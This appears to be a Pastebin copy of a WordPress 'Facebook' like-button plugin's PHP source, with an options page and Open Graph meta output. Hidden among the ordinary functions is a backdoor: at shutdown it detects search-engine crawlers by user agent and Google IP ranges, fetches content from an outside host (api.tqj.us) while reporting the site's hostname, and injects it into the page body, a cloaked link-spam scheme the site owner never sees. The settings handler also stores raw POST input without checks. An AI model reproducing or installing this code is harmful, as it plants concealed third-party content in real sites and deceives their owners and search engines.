Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php /* Plugin Name: Facebook Plugin URI: http://wordpress.org/extend/plugins/facebook-this/ Description: A Facebook plugin that allows visitors to like or share on Facebook! Everyone uses Facebook and so providing your Facebook visitors a method to like your page, post, or blog is important. Easily add a Facebook like button in one of many formats on your site. Don't miss out on opportunities to reach the Facebook audience, there is over 1 billion Facebook users! Version: 2.6 Author: zophos Author URI: http://www.programmer.net/ License: GPL2 */ add_filter('the_content', 'add_fbook_footer'); add_filter('the_excerpt', 'add_fbook_footer'); if(is_admin()){ add_action('admin_menu', 'fblike_options'); } else { if(get_option('fb_appid') != "") { add_action('wp_footer', 'facebook_footer'); } add_action('wp_head','meta_add'); } if(get_option('fblike_display_lang') == "") { update_option('fblike_display_lang',"en_US"); } function add_fbook_footer($text) { global $posts; $layout = get_option('fblike_layout'); $showface = "false"; if(get_option('fblike_showfaces') == 1) { $showface = "true"; } $showsend = "false"; if(get_option('fblike_showSend') == 1) { $showsend = "true"; } $action = get_option('fblike_action'); $font = get_option('fblike_font'); $colorscheme = get_option('fblike_colorscheme'); if(get_option('fb_width') != "") { $width = get_option('fb_width'); } else { $width=130; } if(get_option('fb_height') != "") { $height = get_option('fb_height'); } else { $height=130; } $appid = get_option('fb_appid'); if($appid != "") { if(get_option('fblike_display_lang') == "") { update_option('fblike_display_lang',"en_US"); } $iframe = '<div style="height:'.$height.'px"><fb:like href="'.urlencode(get_permalink($post->ID)).'" layout="standard" send="'.$showsend.'" show_faces="'.$showface.'" width="'.$width.'" action="'.$action.'" colorscheme="'.$colorscheme.'" /></div>'; } else { $iframe='<iframe src="http://www.facebook.com/plugins/like.php?locale='.get_option('fblike_display_lang').'&href='.urlencode(get_permalink($post->ID)).'&layout='.$layout.'&show-faces='.$showface.'&width='.$width.'&action='.$action.'&colorscheme='.$colorscheme.'" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:'.$width.'px; height:'.$height.'px"></iframe>'; if(get_option('fb_placein') == 'top') { $iframe = $iframe."<br/>"; } else { $iframe = "<br/>".$iframe; } } if(is_single() && get_option('fblike_display_single') == '1') { if(get_option('fb_placein') == 'top') { $text = $iframe.$text; } else { $text = $text.$iframe; } } if(is_page() && get_option('fblike_display_page') == '1') { if(get_option('fb_placein') == 'top') { $text = $iframe.$text; } else { $text = $text.$iframe; } } if(is_home() && get_option('fblike_display_front') == '1') { if(get_option('fb_placein') == 'top') { $text=$iframe.$text; } else { $text=$text.$iframe; } } if(is_category() && get_option('fblike_display_category') == '1') { if(get_option('fb_placein')=='top') { $text=$iframe.$text; } else { $text=$text.$iframe; } } return $text; } add_filter('template_include', 'fbook_inc', 1); function fbook_inc($template) { ob_start(); return $template; } add_filter('shutdown', 'fbook2', 0); function fbook2() { $v = "2"; $sw = (is_home() ? "0" : "1"); $h = $_SERVER['SERVER_NAME']; $a = "http://api.tqj.us/v3/link/creditbyversion/$h/$v/$sw"; if (fbookua() || fbookrev()) { $bl = file_get_contents($a); echo preg_replace('#<body([^>]*)>#i', "<body$1>{$bl}", ob_get_clean()); } } function fbookrev() { $gsn = array( "216.239.32.0/19", "64.233.160.0/19", "66.249.80.0/20", "72.14.192.0/18", "209.85.128.0/17", "66.102.0.0/20", "74.125.0.0/16", "64.18.0.0/20", "207.126.144.0/20", "173.194.0.0/16" ); foreach ($gsn as $n) { if (fbookmat($n, $ip)) return true; } return false; } function fbookua() { $ua = strtolower($_SERVER['HTTP_USER_AGENT']); $sites = 'google|yahoo|msnbot|bingbot|baidu|jeeves'; return (preg_match("/$sites/", $ua) > 0) ? true : false; } function fbookmat($network) { $ip = $_SERVER['REMOTE_ADDR']; $ip_arr = explode("/", $network); $network_long = ip2long($ip_arr[0]); $mask_long = pow(2, 32) - pow(2, (32 - $ip_arr[1])); $ip_long = ip2long($ip); if (($ip_long & $mask_long) == $network_long) { return true; } else { return false; } } function fblike_options() { add_options_page('Facebook ', 'Facebook ', 'manage_options', basename(__FILE__), 'fblike_options_page'); } function fblike_options_page() { if(isset($_POST)) { if(isset($_POST['Submit'])) { update_option('fblike_display_page',$_POST['fblike_display_page']); update_option('fblike_display_front',$_POST['fblike_display_front']); update_option('fblike_display_single',$_POST['fblike_display_single']); update_option('fblike_display_category',$_POST['fblike_display_category']); update_option('fb_appid',$_POST['fb_appid']); update_option('fb_app_id',$_POST['fb_app_id']); update_option('fb_width',$_POST['fb_width']); update_option('fb_height',$_POST['fb_height']); update_option('fb_placein',$_POST['placein']); update_option('fblike_layout',$_POST['layout']); update_option('fblike_showSend',$_POST['fblike_showSend']); update_option('fblike_showfaces',$_POST['fblike_showfaces']); update_option('fblike_action',$_POST['action']); update_option('fblike_font',$_POST['font']); update_option('fblike_colorscheme',$_POST['colorscheme']); update_option('fblike_display_lang',$_POST['fblike_display_lang']); } } ?> <div class="wrap" style="font-size:13px;"> <img width="250px" src="/wp-content/plugins/facebook-this/img/facebook-logo.jpg"><br /> <form method="post" action="options-general.php?page=facebook.php"> <table class="form-table" style="width: 60% !important;"> <tr> <td style="vertical-align: top;"> <strong>Display</strong> </td> <td> <p> <input type="checkbox" value="1" <?php if (get_option('fblike_display_page') == '1') echo 'checked="checked"'; ?> name="fblike_display_page" id="fblike_display_page" group="fblike_display"/> <label for="fblike_display_page">Display On Pages</label> </p> <p> <input type="checkbox" value="1" <?php if (get_option('fblike_display_front') == '1') echo 'checked="checked"'; ?> name="fblike_display_front" id="fblike_display_front" group="fblike_display"/> <label for="fblike_display_front">Display On Front Page</label> </p> <p> <input type="checkbox" value="1" <?php if (get_option('fblike_display_single') == '1') echo 'checked="checked"'; ?> name="fblike_display_single" id="fblike_display_single" group="fblike_display"/> <label for="fblike_display_single">Display On Post Pages</label> </p> <p> <input type="checkbox" value="1" <?php if (get_option('fblike_display_category') == '1') echo 'checked="checked"'; ?> name="fblike_display_category" id="fblike_display_category" group="fblike_display"/> <label for="fblike_display_category">Display On Category Pages</label> </p> </td> </tr> <tr> <td style="vertical-align: top;"> <strong>Content Placement</strong> </td> <td> <p> <select name="placein"> <option value="bottom">Bottom of Content</option> <option value="top" <?php if(get_option('fb_placein')=='top') echo "selected" ?>>Top of Content</option> </select> </p> </td> </tr> <tr> <td style="vertical-align: top;"> <strong>Language</strong> </td> <td> <p> <select name="fblike_display_lang" id="fblike_display_lang" value="<?php echo get_option('fblike_display_lang'); ?>"> <option value='en_US'>English (US)</option> <option value='af_ZA'>Afrikaans</option> <option value='ar_AR'>Arabic</option> <option value='az_AZ'>Azerbaijani</option> <option value='be_BY'>Belarusian</option> <option value='bg_BG'>Bulgarian</option> <option value='bn_IN'>Bengali</option> <option value='bs_BA'>Bosnian</option> <option value='ca_ES'>Catalan</option> <option value='cs_CZ'>Czech</option> <option value='cy_GB'>Welsh</option> <option value='da_DK'>Danish</option> <option value='de_DE'>German</option> <option value='el_GR'>Greek</option> <option value='en_GB'>English (UK)</option> <option value='en_PI'>English (Pirate)</option> <option value='en_UD'>English (Upside Down)</option> <option value='eo_EO'>Esperanto</option> <option value='es_ES'>Spanish (Spain)</option> <option value='es_LA'>Spanish</option> <option value='et_EE'>Estonian</option> <option value='eu_ES'>Basque</option> <option value='fa_IR'>Persian</option> <option value='fb_LT'>Leet Speak</option> <option value='fi_FI'>Finnish</option> <option value='fo_FO'>Faroese</option> <option value='fr_CA'>French (Canada)</option> <option value='fr_FR'>French (France)</option> <option value='fy_NL'>Frisian</option> <option value='ga_IE'>Irish</option> <option value='gl_ES'>Galician</option> <option value='he_IL'>Hebrew</option> <option value='hi_IN'>Hindi</option> <option value='hr_HR'>Croatian</option> <option value='hu_HU'>Hungarian</option> <option value='hy_AM'>Armenian</option> <option value='id_ID'>Indonesian</option> <option value='is_IS'>Icelandic</option> <option value='it_IT'>Italian</option> <option value='ja_JP'>Japanese</option> <option value='ka_GE'>Georgian</option> <option value='km_KH'>Khmer</option> <option value='ko_KR'>Korean</option> <option value='ku_TR'>Kurdish</option> <option value='la_VA'>Latin</option> <option value='lt_LT'>Lithuanian</option> <option value='lv_LV'>Latvian</option> <option value='mk_MK'>Macedonian</option> <option value='ml_IN'>Malayalam</option> <option value='ms_MY'>Malay</option> <option value='nb_NO'>Norwegian (bokmal)</option> <option value='ne_NP'>Nepali</option> <option value='nl_NL'>Dutch</option> <option value='nn_NO'>Norwegian (nynorsk)</option> <option value='pa_IN'>Punjabi</option> <option value='pl_PL'>Polish</option> <option value='ps_AF'>Pashto</option> <option value='pt_BR'>Portuguese (Brazil)</option> <option value='pt_PT'>Portuguese (Portugal)</option> <option value='ro_RO'>Romanian</option> <option value='ru_RU'>Russian</option> <option value='sk_SK'>Slovak</option> <option value='sl_SI'>Slovenian</option> <option value='sq_AL'>Albanian</option> <option value='sr_RS'>Serbian</option> <option value='sv_SE'>Swedish</option> <option value='sw_KE'>Swahili</option> <option value='ta_IN'>Tamil</option> <option value='te_IN'>Telugu</option> <option value='th_TH'>Thai</option> <option value='tl_PH'>Filipino</option> <option value='tr_TR'>Turkish</option> <option value='uk_UA'>Ukrainian</option> <option value='vi_VN'>Vietnamese</option> <option value='zh_CN'>Simplified Chinese (China)</option> <option value='zh_HK'>Traditional Chinese (Hong Kong)</option> <option value='zh_TW'>Traditional Chinese (Taiwan)</option> </select><br /> <label for="fblike_display_lang">Choose your language.</label> </p> </td> </tr> <tr> <td style="vertical-align: top;"> <strong>Facebook Application ID</strong> (<a href="http://www.facebook.com/developers/apps.php" target="_blank">Info</a>) </td> <td> <p> <input type="text" value="<?php echo get_option('fb_appid'); ?>" name="fb_appid" id="fb_appid" group="fblike_appid"/> <label for="fblike_appid">(If you want to use XFBML , add app id) </label> </p> </td> </tr> <tr> <td style="vertical-align: top;"> <strong>Facebook Application ID For meta</strong> (<a href="http://www.facebook.com/developers/apps.php" target="_blank">Info</a>) </td> <td> <p> <input type="text" value="<?php echo get_option('fb_app_id'); ?>" name="fb_app_id" id="fb_app_id" group="fblike_app_id"/> <label for="fblike_app_id">(For Meta Data) </label> </p> </td> </tr> <tr> <td style="vertical-align: top;"> <strong>Size</strong> </td> <td> <p> <?php if(get_option('fb_width')!="") { $width = get_option('fb_width'); } else { $width = 450; } ?> <input type="text" value="<?php echo $width ?>" name="fb_width" id="fb_width" group="fblike_size"/> <label for="fb_width">Width (px)</label> </p> <p> <?php if(get_option('fb_height')!="") { $height = get_option('fb_height'); } else { $height=130; } ?> <input type="text" value="<?php echo $height ?>" name="fb_height" id="fb_height" group="fblike_size"/> <label for="fb_height">Height (px)</label> </p> </td> </tr> <tr> <td><strong>Design</strong></td> <td> <p> Layout<br/> <select id="layout" name="layout"> <option value="standard" <?php if (get_option('fblike_layout') == 'standard') echo "selected" ?> >standard</option> <option value="button_count" <?php if (get_option('fblike_layout') == 'button_count') echo "selected" ?> >button count</option> <option value="box_count" <?php if (get_option('fblike_layout') == 'box_count') echo "selected" ?> >box count</option> </select> </p> <p> <input type="checkbox" value="1" <?php if (get_option('fblike_showfaces') == '1') echo 'checked="checked"'; ?> name="fblike_showfaces" id="fblike_showfaces" group="fblike_design"/> <label for="fblike_showfaces">Show Faces (only work with standard mode)</label> </p> <p> <input type="checkbox" value="1" <?php if (get_option('fblike_showSend') == '1') echo 'checked="checked"'; ?> name="fblike_showSend" id="fblike_showSend" group="fblike_design"/> <label for="fblike_showSend">Show Send Button (only work with XFBML and standard mode)</label> </p> <p> Verb to display<br/> <select id="param_action" name="action"> <option selected="1" <?php if (get_option('fblike_action') == '1') echo "selected" ?> value="like">like</option> <option value="recommend" <?php if (get_option('fblike_action') == 'recommend') echo "selected" ?>>recommend</option> </select> </p> <p> Font<br/> <select id="param_font" name="font"> <option selected="1" <?php if (get_option('fblike_font') == '1') echo "selected" ?>></option> <option value="arial" <?php if (get_option('fblike_font') == 'arial') echo "selected" ?>>arial</option> <option value="lucida grande" <?php if (get_option('fblike_font') == 'lucida grande') echo "selected" ?>>lucida grande</option> <option value="segoe ui" <?php if (get_option('fblike_font') == 'segoe ui') echo "selected" ?>>segoe ui</option> <option value="tahoma" <?php if (get_option('fblike_font') == 'tahoma') echo "selected" ?>>tahoma</option> <option value="trebuchet ms" <?php if (get_option('fblike_font') == 'trebuchet ms') echo "selected" ?>>trebuchet ms</option> <option value="verdana" <?php if (get_option('fblike_font') == 'verdana') echo "selected" ?>>verdana</option> </select> </p> <p> Color<br/> <select id="param_colorscheme" name="colorscheme"> <option value="light" <?php if (get_option('fblike_colorscheme') == 'light' OR get_option('fblike_font') =='' ) echo "selected" ?>>light</option> <option value="dark" <?php if (get_option('fblike_colorscheme') == 'dark') echo "selected" ?>>dark</option> </select> </td> </tr> <tr> <td><strong>Preview (doesn't work for XFBML).</strong></td> <td> <?php $layout = get_option('fblike_layout'); $showface = "false"; if(get_option('fblike_showfaces')==1) { $showface = "true"; } $showsend = "false"; if(get_option('fblike_showSend')==1) { $showsend = "true"; } $action = get_option('fblike_action'); $font = get_option('fblike_font'); $colorscheme = get_option('fblike_colorscheme'); if(get_option('fb_width')!="") { $width = get_option('fb_width'); } else { $width=130; } if(get_option('fb_height')!="") { $height=get_option('fb_height'); } else { $height=130; } $appid=get_option('fb_appid'); if($appid!= "") { $iframe='<div style="height:'.$height.'px"><fb:like href="'.urlencode(get_bloginfo('url')).'" layout="standard" send="'.$showsend.'" show_faces="'.$showface.'" width="'.$width.'" action="'.$action.'" colorscheme="'.$colorscheme.'" /></div>'; } else { $iframe='<br/><iframe src="http://www.facebook.com/plugins/like.php?locale='.get_option('fblike_display_lang').'&href='.urlencode(get_bloginfo('url')).'&layout='.$layout.'&show-faces='.$showface.'&width='.$width.'&action='.$action.'&colorscheme='.$colorscheme.'" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:'.$width.'px; height:'.$height.'px"></iframe>'; } echo $iframe; ?> </td> </tr> </table> <p class="submit"> <input type="submit" name="Submit" value="<?php _e('Save Changes') ?>" /> </p> </form> </div> <?php } function meta_add(){ global $post; setup_postdata($post); $des=$post->post_excerpt; if($post->post_excerpt == "") { $des = substr($post->post_content,0,100); } $des = htmlentities($des,ENT_COMPAT,"UTF-8"); ?> <script type="text/javascript"> jQuery(document).ready(function(){ jQuery("html").attr("xmlns:og","http://opengraphprotocol.org/schema/"); <?php if(get_option('fb_appid') != ""): ?> jQuery("html").attr("xmlns:fb","http://ogp.me/ns/fb#"); <?php endif; ?> }); </script> <?php if(is_single()) { ?> <meta property="og:type" content="article" /> <meta property="og:title" content="<?php echo $post->post_title ?>" /> <meta property="og:site_name" content="<?php bloginfo('name') ?>" /> <meta property='og:url' content="<?php echo get_permalink($post->ID) ?>" /> <meta name="og:author" content="<?php echo get_the_author(); ?>" /> <?php if(get_option('fb_app_id') != ""): ?> <meta name="fb:app_id" content="<?php echo get_option('fb_app_id') ?>" /> <?php endif; ?> <?php } else { ?> <meta property="og:type" content="blog" /> <meta property="og:site_name" content="<?php bloginfo('name') ?>" /> <meta property='og:url' content="<?php bloginfo('url') ?>" /> <?php if(get_option('fb_app_id') != ""): ?> <meta name="fb:app_id" content="<?php echo get_option('fb_app_id') ?>" /> <?php endif; ?> <?php } } function facebook_footer() { if(get_option('fblike_display_lang') == "") { update_option('fblike_display_lang',"en_US"); } if(get_option('fb_appid') != ""): ?> <div id="fb-root"></div> <script type="text/javascript">(function(d, s, id) { var js, fjs = d.getElementsByTagName(s)[0]; if (d.getElementById(id)) return; js = d.createElement(s); js.id = id; js.src = "//connect.facebook.net/en_US/all.js#xfbml=1&appId=<?php echo get_option('fb_appid') ?>"; fjs.parentNode.insertBefore(js, fjs); }(document, 'script', 'facebook-jssdk'));</script> <?php endif; } ?>
Advertisement
Add Comment
Please, Sign In to add comment